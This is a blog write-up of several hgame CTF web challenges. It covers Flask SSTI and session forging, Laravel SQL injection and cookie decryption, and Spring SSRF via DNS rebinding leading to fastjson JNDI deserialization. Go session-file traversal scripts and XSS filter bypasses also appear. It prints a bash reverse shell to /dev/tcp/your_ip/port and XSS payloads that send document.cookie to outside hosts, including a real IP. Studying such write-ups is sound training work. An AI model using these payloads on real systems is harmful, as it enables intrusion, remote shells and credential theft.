思路主要是伪造 admin cookiel 了,所以我们需要读secret_key

使用 {% raw %} /{{[].class.base.subclasses()}} 与 /{{[].class.base.subclasses}} {% endraw %} 两个返回均相同

发现是()被过滤了

一直想着去用文件读取secret_key,但是又因为()被过滤,怎么也做不出来

后来发现用/{{config}}可以得到…….orz,也可以用url_for.__globals__['current_app'].config读取

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CSRF_ENABLED': True, 'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://hgame:asdkjhiou12312451r2@127.0.0.1:3306/hgame', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'WTF_CSRF_ENABLED': True, 'WTF_CSRF_CHECK_DEFAULT': True, 'WTF_CSRF_METHODS': {'PUT', 'DELETE', 'POST', 'PATCH'}, 'WTF_CSRF_FIELD_NAME': 'csrf_token', 'WTF_CSRF_HEADERS': ['X-CSRFToken', 'X-CSRF-Token'], 'WTF_CSRF_TIME_LIMIT': 3600, 'WTF_CSRF_SSL_STRICT': True, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False}>

得到'SECRET_KEY': '9RxdzNwq7!nOoK3*',登录自己注册的账号,解码自己的.session

session=.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k8QcPn7ABDuP70.XHK0ew.2CT1_Vu5Qp8rMbm8ig80dve2-Zg

python2 session_cookie_manager.py decode -c '.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k8QcPn7ABDuP70.XHK0ew.2CT1_Vu5Qp8rMbm8ig80dve2-Zg'

{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'206', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}

这里千万不要改其他的东西,就改u'user_id'字段就可以了,改成 1 后用encode就行了,这里有师傅说要用 python3 ,因为 timestamp 的原因,可是这里我并没有用 python3 ,直接用 python2 就过了

python2 session_cookie_manager.py encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'1', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}"

{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'1', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}

happyPHP

flag 在管理员账号下

http://118.25.18.223:3000/

在看 git 的时候,切记要看一下历史记录,可能会有新收获

源码发现给了 github 仓库https://github.com/Lou00/laravel,是一套用 laravel 写的

慢慢审计,在laravel/app/Http/Controllers/SessionsController.php中发现一下代码

public function store(Request $request)
    {
        $credentials = $this->validate($request, [
            'email' => 'required|email|max:100',
            'password' => 'required'
        ]);

        if (Auth::attempt($credentials)) {
            if (Auth::user()->id ===1){
                session()->flash('info','flag :******');
                return redirect()->route('users.show');
            }
            $name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
            session()->flash('info', 'hello '.$name[0]->name);
            return redirect()->route('users.show');
        } else {
            session()->flash('danger', 'sorry,login failed');
            return redirect()->back()->withInput();
        }
    }

而整个路由有

Route::get('/', 'StaticPagesController@home')->name('home');
Route::get('/register','UsersController@register')->name('register');
Route::get('/login','UsersController@login')->name('login');
Route::get('/users', 'UsersController@show')->name('users.show');
Route::post('/users', 'UsersController@store')->name('users.store');
Route::post('/login', 'SessionsController@store')->name('login');
Route::get('/logout', 'SessionsController@destroy')->name('logout');

所以我们还是需要登录管理员账号去获取 flag,而且这里的注入点是name,邮箱唯一,所以我们可以注册一个name=admin' or 1=1;#的账户测试注入

所以用

admin' union select password FROM `users` WHERE `id`= '1' ORDER BY name DESC;#
得到 admin 的密码

admin' union select email FROM `users` WHERE `id`= '1' ORDER BY name DESC;#
得到 admin 的邮箱admin@hgame.com

a' union select load_file('/etc/passwd') ORDER BY name DESC;#
读取失败

得到

eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

base64_decode 得到
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

尝试参考Laravel cookie 伪造,解密,和远程命令执行,对id=1的管理员进行 cookie 伪造,但是无解。

找到一个 php 解密脚本,但是没有$key,就没办法解密。在而$key存在于.env中,我们在github commit中找到了被删除的.env.env中找到APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=

搜了一下解密脚本,laravel cookie 加解密

<?php
function decode($str,$key){
    $payload = json_decode(base64_decode($str), true);
    $iv = base64_decode($payload['iv']);
    $decrypted = openssl_decrypt($payload['value'], 'AES-256-CBC', $key, 0, $iv);
    return unserialize($decrypted);
}

function encode($value,$key){
    $iv = random_bytes(openssl_cipher_iv_length('AES-256-CBC'));
    $value = openssl_encrypt(serialize($value),'AES-256-CBC', $key, 0, $iv);
    $iv = base64_encode($iv);
    $mac = hash_hmac('sha256',$iv.$value,$key);
    $json = json_encode(compact('iv', 'value', 'mac'));
    return base64_encode($json);
}

/**
 * .env 里面的 APP_KEY
 */
$key = base64_decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=');

$value = '596|6EvT3jxKRaTwcuj5NEgdnztIjjKDX4lfqz38DGDR4hET8XaEXS35vZTksROl|';

// $str = encode($value,$key).PHP_EOL;
$str = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==';
echo decode($str,$key);

把相关参数填上,得到密码 9pqfPIer0Ir9UUfR,登录admin@hgame.com得到 flag

这里一开始以为自己破解密码的思路不太对,而且自己之前也没有关注到 commit 找到$key。还是主要是找脚本不太好找,我尝试了很多个脚本都没有成功解密。后来经过师傅提点才知道确实可以密码破解,就去各种找密码了才搞定。

happyJava

java is not so hard, is it right? hint: spring-boot-actuator

http://119.28.26.122:23333/index

题目设置很简单,目录什么的不存在的,直接访问/hgame_flag直接返回与其他页面一样的 404 不存在的错误

看了一下Springboot 之 actuator 配置不当的漏洞利用,以及spring boot 2 使用 actuator 404 的问题遍历了敏感路径都是 404 ……1.x 和 2.x 路径都试过了…没啥想法

以下是复现 wp……orz:

actuator 部署时,可以选择与当前项目不同端口

于是扫一波端口可以看到987631337

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 23:36 CST
Nmap scan report for 119.28.26.122
Host is up (0.045s latency).
Not shown: 987 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
593/tcp   filtered http-rpc-epmap
901/tcp   filtered samba-swat
1025/tcp  filtered NFS-or-IIS
3128/tcp  filtered squid-http
4444/tcp  filtered krb524
6129/tcp  filtered unknown
6667/tcp  filtered irc
9876/tcp  open     sd
31337/tcp open     Elite

Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds

31337应该不是http服务,于是在9876扫了一波目录,终于发现了泄露的关键信息,http://119.28.26.122:9876/info返回了空的jsonhttp://119.28.26.122:9876/mappings返回了如下信息

{"/webjars/**":{"bean":"resourceHandlerMapping"},"/**":{"bean":"resourceHandlerMapping"},"/**/favicon.ico":{"bean":"faviconHandlerMapping"},"{[/index],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.Index()"},"{[/you_will_never_find_this_interface],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"},"{[/secret_flag_here],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"},"{[/error],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"},"{[/error],produces=[text/html]}":{"bean":"requestMappingHandlerMapping","method":"public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"},"{[/error]}":{"bean":"requestMappingHandlerMapping","method":"public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"}}

访问/secret_flag_here,发现返回

HTTP/1.1 200 
X-Application-Context: application:23333
Content-Type: text/html;charset=UTF-8
Content-Length: 87
Date: Sun, 24 Feb 2019 15:57:48 GMT
Connection: close

This is danger interface, only allow request from 127.0.0.1!<br/>Your IP:xxx.xxx.xxx.xxx(已打码)

用以下一梭子 HTTP 头伪造都没有用…

Client-Ip: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-Host: 127.0.0.1

应该是要形成 ssrf 或者其他的了吧,尝试继续访问/you_will_never_find_this_interface,得到

HTTP/1.1 200 
X-Application-Context: application:23333
Content-Type: text/html;charset=UTF-8
Content-Length: 20
Date: Sun, 24 Feb 2019 16:00:53 GMT
Connection: close

`url` cant be empty!

尝试访问/you_will_never_find_this_interface?url=1,返回

emmmmmmm, something went wrong: no protocol: 1

尝试url=http://localhost/you_will_never_find_this_interface,返回

Dont be evil. Dont request 127.0.0.1.

http%3a//[%3a%3a]%3a23333/you_will_never_find_this_interface返回 400

http://example.com@127.0.0.1:23333/you_will_never_find_this_interface

http://127.0.0.1.xip.io:23333/you_will_never_find_this_interface
Dont be evil. Dont request 127.0.0.1.

http://127。0。0。1/secret_flag_here
emmmmmmm, something went wrong: Label has two-byte char: 127。0。0。1

http://0x7f000001:23333/secret_flag_here
emmmmmmm, something went wrong: DNS name not found [response code 3]

http://0177.0.0.1:23333/secret_flag_here
emmmmmmm, something went wrong: connect timed out

http://2130706433:23333/secret_flag_here
Dont be evil. Dont request 127.0.0.1.

⓵⓶⓻.⓿.⓿.⓵
emmmmmmm, something went wrong: Label has two-byte char: ⓵⓶⓻

尝试了很多绕过方法都没用,最后只剩下用DNS Rebinding来进行绕过了

首先了解一波关于 DNS-rebinding 的总结,可以发现有个比较方便的方法,就是设置两个 A 记录,一个指向 127.0.0.1,另外一个指向不是 127.0.0.1 的地址即可。

这里原文解释的不是很清楚,又请教了一下白师傅,才明白两个记录怎么绕过对 127.0.0.1 的检测的。首先第一次 DNS 解析在 waf 处,检查 DNS 记录是否是 127.0.0.1 ,第二次 DNS 解析在 ajax 或者请求我们传入的 url 地址的时候进行的,因为 DNS 随机解析,所以如果第一次解析,解析到了我们设置的非 127.0.0.1 的地址,就可以绕过 waf 对 127.0.0.1 的检测,否则解析到 127.0.0.1 就直接被 waf ,所以第一次通过的概率为 1/2 ;如果第二次解析,也就是在对 url 进行请求的时候,解析到了 127.0.0.1 的话,这次 ssrf 就算成功了,也就达到了我们访问内网地址的目的,如果解析不是 127.0.0.1 的话,那就失败了,所以第二次成功概率也是 1/2 。综述,整个DNS Rebinding采用两个A记录绕过的成功概率为 1/2 。

可以看到这里已经成功了。

传入data参数,因为作为/secret_flag的参数,这里注意要用urlencode,看到返回WoW! Convert JSON to object...OK!<br>Result: 1

可以使用fastjson反序列化搞定,但是使用vulhub下的fastjson的 exp 直接就报了 waf

参考FastJson 反序列化漏洞利用笔记#基于 JNDI 的 PoC,构造如下的Exploit.java,然后编译成.class文件放在 HTTP 服务端口下提供后续下载

public class Exploit {
    public Exploit(){
        try {
            java.lang.Runtime.getRuntime().exec(
                    new String[]{"bash", "-c", "bash -c \"sh >& /dev/tcp/your_ip/port 0>&1\""});
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

在 vps 上下载marshalsec提供ldap服务,按照步骤mvn clean package -DskipTests编译好后,

$ java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your_ip:port/#Exploit

在一个端口起一个 HTTP 服务提供受害者下载Exploit.class,在发送以下 payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_ip:1389/Exploit","autoCommit":true}

记得二次 urlencode ,成功getshell

happyGo

​ 别问,问就是 cve 改的 ​ flag 在/flag 里 ​ source code:https://pan.baidu.com/s/1wQwqxF6DUr-2AIC_giud0g 提取码: 6v2i

http://94.191.10.201:7000/

复现题 2333……orz

题目提供注册登录功能,登录进来后可以发送消息

也可以修改自己的头像

发现源码有地方

beego.Router("/admin", &controllers.AdminController{})
beego.Router("/admin/user/del/:id([0-9]+", &controllers.UserDelController{})

看到一个比较奇怪的功能,跟进Controller看看

type AdminController struct {
	beego.Controller
}

func (c *AdminController) Get() {
	uid := c.GetSession("uid")
	if uid == nil {
		c.Abort("500")
	}

	if uid.(int) != 1 {
		c.Redirect("/", http.StatusFound)
		return
	}

	o := orm.NewOrm()
	u := models.Users{Id:uid.(int)}
	us := []models.Users{}

	err := o.Read(&u)
	if err != nil {
		c.Abort("500")
	}

	_, err = o.QueryTable("users").Filter("id__gt",1).All(&us)
	if err != nil {
		c.Abort("500")
	}

	c.Data["Users"] = us
	c.Data["Avatar"] = u.Avatar
	c.Data["Username"] = u.Username
	c.Data["UID"] = u.Id

	c.TplName = "admin.tpl"
}

type UserDelController struct {
	beego.Controller
}

func (u *UserDelController) Get() {
	uid := u.GetSession("uid")
	if uid == nil {
		u.Abort("500")
	}

	if uid.(int) != 1 {
		u.Redirect("/", http.StatusFound)
		return
	}

	id := u.Ctx.Input.Param(":id")
	i, _ := strconv.Atoi(id)
	if i == 1 {
		u.Redirect("/admin", http.StatusFound)
		return
	}

	o := orm.NewOrm()
	user := models.Users{Id:i}
	err := o.Read(&user)
	if err != nil {
		u.Abort("500")
	}

	if user.Avatar != "/static/img/avatar.jpg" {
		os.Remove(user.Avatar)
	}

	o.QueryTable("messages").Filter("uid", id).Delete()
	o.Delete(&user)

	u.Redirect("/admin", http.StatusFound)
}

虽然看起来Go语言有点古怪,但是代码逻辑还是大致懂得,看起来逻辑都比较正常,但是在os.Remove(user.Avatar),存在一个越权,因为我们可以控制user.Avatar,我们就可以删除任意文件了。

还有一个路由就是/install路由

beego.Router("/install", &controllers.InstallController{})

查看InstallController

type InstallController struct {
	beego.Controller
}

func (c *InstallController) Get() {
	_, err := os.Stat("conf/app.conf")
	if err != nil && os.IsNotExist(err) {
		c.TplName = "install.tpl"
	} else {
		c.Redirect("/", http.StatusFound)
		return
	}
}


func (c *InstallController) Post() {
	_, err := os.Stat("conf/app.conf")
	if err != nil && os.IsNotExist(err) {
		//pass
	} else {
		c.Redirect("/", http.StatusFound)
		return
	}
	type data struct {
		Host string	`form:"host"`
		Port string	`form:"port"`
		Username string	`form:"username"`
		Password string	`form:"password"`
		Database string	`form:"database"`
	}
	d := data{}

	if err := c.ParseForm(&d); err != nil {
		c.Abort("500")
	}

	s := `[mysql]
username = %s
password = %s
host = %s
port = %s
database = %s
`
	err = ioutil.WriteFile("conf/app.conf", []byte(fmt.Sprintf(s, d.Username, d.Password, d.Host, d.Port, d.Database)),0666)
	if err != nil {
		c.Abort("500")
	}
	c.Redirect("/", http.StatusFound)
}

根据Read MySQL Client’s File,应该是出题人的博客了吧 2333… 大致我们可以猜测整个流程,登录管理员,删除app.conf,重新install,用恶意mysql服务器读取任意文件。而登录管理员就需要看到在main.go中的主函数了

func main() {
	beego.BConfig.WebConfig.Session.SessionName = "PHPSESSID"
	beego.BConfig.WebConfig.Session.SessionProvider="file"
	beego.BConfig.WebConfig.Session.SessionProviderConfig = "./tmp"
	beego.BConfig.WebConfig.Session.SessionOn = true
	beego.Run()
}

搭环境始终没找到catmsg/routers这个包…蜜汁尴尬,还是放弃了。而且writeup写的极其简单…并没有详细剖析原理。

贴一下其他师傅的脚本,session伪造脚本

# coding:utf-8
import requests
import base64

ip="94.191.10.201"
host="http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL = host + "/auth/login"
userinfoURL = host + "/userinfo"
req = requests.session()

# register

registerData={    "username":"ii5am3",    "password":"123456",    "confirmpass":"123456",}

r = req.post(registerURL,data=registerData)

print("[+] register "+r.text)

# login

loginData={    "username":"ii5am3",    "password":"123456",}

r = req.post(loginURL,data=loginData)

print(r"[+] login "+r.text)



# 获取当前登陆用户的sessionID

sessionID = r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value

print(r"[+] sessionID is "+ sessionID)



# 上传session,伪造cookie

newSession = sessionID[0:2]+"5am3"

filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)



# 本地搭建环境,登入uid为1的账号,然后获取他的session的文件即可。在这里我给大家

attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")

sessionFiles={"uploadname" : (filename, attackSession)}

r = req.post(userinfoURL,files=sessionFiles)

print(r"[+] newCookie is: PHPSESSID="+ newSession)

伪造服务端脚本:

# coding:utf-8
import requests
import base64
# req表示user1,此时全程用该一个session
req = requests.session()
ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
deleteUserURL = host +"/admin/user/del/2"
installURl = host + "/install"
attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")

# register
registerData={    "username":"ii5am3",    "password":"123456",    "confirmpass":"123456",}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={    "username":"ii5am3",    "password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)
sessionFiles={    "uploadname" : (filename, attackCookie)}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newSessionID is "+ newSession)

# 修改头像文件链接。
sessionFiles={    "uploadname" : ("../../conf/app.conf", "12345")}
r = req.post(userinfoURL,files=sessionFiles)

# 新建一个请求,伪造admin进行删除用户
headers={    "Cookie":"PHPSESSID="+newSession}
r = requests.get(deleteUserURL,headers=headers)

# 重新安装环境,将其指向我们的恶意sql服务器。
installData = {
    "host":"your_ip",
    "port":"your_port",
    "username":"hgame",    "password":"hgame",    "database":"hgame"}
r = requests.post(installURl,installData)

# 再次登录,使其再来一次请求。
loginData={    "username":"ii5am3",    "password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

读取 flag

HappyXSS

onerror
"
&
svg
onload
onerror
'

随手fuzz了一下,发现以上关键字会被替换为Happy !

<marquee onstart=alert(1)>

<marquee onstart=eval(atob('YWxlcnQoMSk='))>

<marquee onstart=eval(atob('some base64 code'))>

<marquee>虽然可以绕,但是Chrome不支持这个标签了,可能这题也用的是Chromeless,然后发现还有CSP策略。

HTTP/1.1 200 OK
Date: Fri, 22 Feb 2019 10:32:21 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src *
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Length: 1353
Connection: close
Content-Type: text/html; charset=UTF-8

最后我用<body onpageshow进行了绕过

<body onpageshow=eval(atob('ZnJhbWU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZnJhbWUpOwpzY3JpcHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmM9Jy8veHNzcHQuY29tL0d2eE5Qbic7CndpbmRvdy5mcmFtZXNbMF0uZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOw=='))>

Base64 内容:

frame=document.createElement("iframe");
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//xsspt.com/GvxNPn';
window.frames[0].document.head.appendChild(script);

但是以上不能绕CSP策略,可以用window.location绕过

<body onpageshow=eval(atob('d2luZG93LmxvY2F0aW9uPSJodHRwOi8veW91cl9pcDpwb3J0P2M9Iitkb2N1bWVudC5jb29raWU7'))>

base64 内容:

window.location="http://your_ip:port?c="+document.cookie;

再给几个其他师傅绕过的 payload :

利用window.open,不过用的是<script >绕过关键字检测

<script>window.open('http://149.248.6.227:1150/XSS.php?cookie='+document.cookie)</script>

<script >eval(String.fromCharCode(119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,49,52,57,46,50,52,56,46,54,46,50,50,55,58,49,49,53,48,47,88,83,83,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))</script >

还有的用<input onfous绕过

<input onfocus=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,50,53,48,48,48,47,63,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); autofocus>
Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy